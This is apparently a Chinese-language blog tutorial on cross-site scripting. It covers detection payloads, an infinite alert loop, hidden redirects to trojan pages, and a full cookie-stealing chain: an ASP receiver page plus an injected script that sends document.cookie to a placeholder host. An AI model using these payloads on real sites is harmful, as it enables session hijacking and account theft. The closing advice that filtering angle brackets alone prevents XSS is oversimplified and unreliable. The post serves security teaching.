XSS攻擊

1. 定義

XSS(Cross Site Script)跨站腳本攻擊。指的是攻擊者往web頁面裏插入惡意HTML代碼,當用戶瀏覽該網頁時,嵌入其web裏的HTML代碼會被執行,從而達到攻擊者的特殊用途。

2. 檢測方法

在網頁的任何只要有數據輸入的地方就有可能存在XSS漏洞!
如果是在留言板類型的網頁中,則在網頁中讓用戶輸入的對話框中,輸入一個簡單的HTML超鏈接標籤<a>,比如<a href="">XSS</a>,之後提交,如果新添的留言信息中出現了 XSS 的超鏈接,則說明該網頁有漏洞。
較爲直觀的,可以直接輸入<script>alert('XSS');</script>,提交發表,如果彈出相應對話框,則說明有漏洞。

3. 漏洞利用

3.1 讓網頁無法正常訪問——死循環彈出對話框:
<script>while(ture)alert('XSS')</script>,從而使得瀏覽器不斷彈出對話框,始終無法關閉,除非結束瀏覽器進程。

3.2 隱藏訪問:
此方法稍微無恥點就是增加了目標網站的訪問量(比如說注意僅僅是打比方,X寶給X度N多錢,讓他在自己的源碼中插入X寶網站地址,這樣每名用戶每次打開X度執行的每一次搜索,都會隱藏地訪問了一次X寶。國內有這麼多使用X度搜索引擎的用戶,這樣每天都會爲X寶添加了無法計算的點擊量。當然這裏只是打個比方,相信在很多地方估計X寶的名氣都蓋過了X度=_=),而危險係數較大的就是讓用戶不知不覺地訪問了木馬網頁。
法一:<script>window.location.href="目標網頁";</script>,該方法是直接跳轉,隱藏性不高。
法二:<script>window.open('目標網頁', '', 'top=10000, left=10000, height=0, width=0');</script>,該方法是讓頁面彈出一個高度和寬度都爲0,而且座標在屏幕範圍之外的新頁面來打開目標網頁。但詬病是,用戶在任務欄上依然能夠看到這個新頁面的標題按鈕。不過攻擊者可以修改自己的木馬網頁,讓其自動關閉,這樣在用戶訪問的時候木馬網頁一閃而過,剛打開就關閉了,絕大多數人是不會在意它的。

3.3 獲取用戶cookie
什麼是cookie?cookie是保存在計算機中,用於記錄用戶在網頁訪問過程中輸入、保存的一些數據信息。瀏覽器會把用戶名、密碼或者是否登錄之類的信息保存在cookie中,當用戶訪問頁面時,網頁就從客戶端的cookie中取出信息處理,這也分擔了服務器的一些工作。
舉個實例來說,cookie最典型的應用就是判定註冊用戶是否已經登錄網站,這樣在跳轉同一網站的其他頁面時就不必重複登錄;又如瀏覽器常見的自動登錄功能,用戶可能會收到提示是否在下一次進入此網站時保留用戶信息實現免輸入登錄;另一個重要的場合,比如進行購物網站購物車的處理,用戶可能會在一段時間內在同一家購物網站的不同頁面中選擇不同的商品,這些信息都會保存在cookie中,在最後付款的時候一併提取信息。在瀏覽器運行該網站時,cookie會存儲在內存中發揮其作用,而當用戶退出該網站時候,該cookie就存儲在計算機的硬盤上。通常一個網站是不可以訪問另一個網站的cookie,而當瀏覽器進程結束時,系統將終止所有的cookie。
簡單直觀一點,插入<script>alert(document.cookie);</script>,提交,重新訪問該頁面時,就會彈出瀏覽者在本站的cookie,關鍵敏感信息就是用戶名及其密碼。
這麼做似乎效果一般,因爲是彈出自己的cookie給自己看。但注意這是前提,攻擊者會製作用來接收該cookie信息的頁面hack.asp,源碼如下

<%
cook = request("cook")  //接收cook參數信息並保存在cook變量中
set fs = server.CreateObject("Scripting.FileSystemObject")  //建立文件操作對象
set file = fs.OpenTextFile(server.MapPath("usercookie.txt"), 8, True)  //打開文件
file.writeline cook  //寫入cook變量內容
file.close
set file = nothing
set fs = nothing
%>

這是木馬網頁端的文件,接下來在漏洞網頁中插入腳本

<script>
var temp = document.cookie;
var url = 'http://xxx.xxx/hack.asp?cook='+temp;  //構造木馬網頁地址
var htmlcode = '<iframe src="' + url + '"></iframe>'  //構造隱藏訪問代碼
document.write(htmlcode);
</script>

提交,之後任何瀏覽者在訪問該頁面時,其在該網站上的cookie信息會自動發送給攻擊者。

4. 漏洞填補

HTML是標籤語言,所有代碼都是用標籤括起來纔有用,而所有的標籤都是要用尖括號<>括起來纔有用的。因此我們要做的就是在編寫網頁源碼時添加過濾函數,過濾掉尖括號等特殊字符即可,這樣就可以避免XSS的出現了。

5. reference

黑客攻防Web安全實戰詳解 . 中國鐵道出版社
網站入侵與腳本技術快速防殺 . 電子工業出版社

6. 紙上得來終覺淺,絕知此事要躬行。

Over,還望大家期待接下來的Security文章,希望對大家有幫助。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章